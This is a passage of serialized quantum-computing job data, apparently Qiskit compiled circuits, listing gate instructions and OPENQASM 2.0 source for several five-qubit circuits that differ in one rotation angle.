'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1209', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.10000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.2000000000000002, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.2', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1211', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.20000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.3, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.3', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1213', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.30000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.4000000000000001, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.4', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1215', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.40000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.5, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.5', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 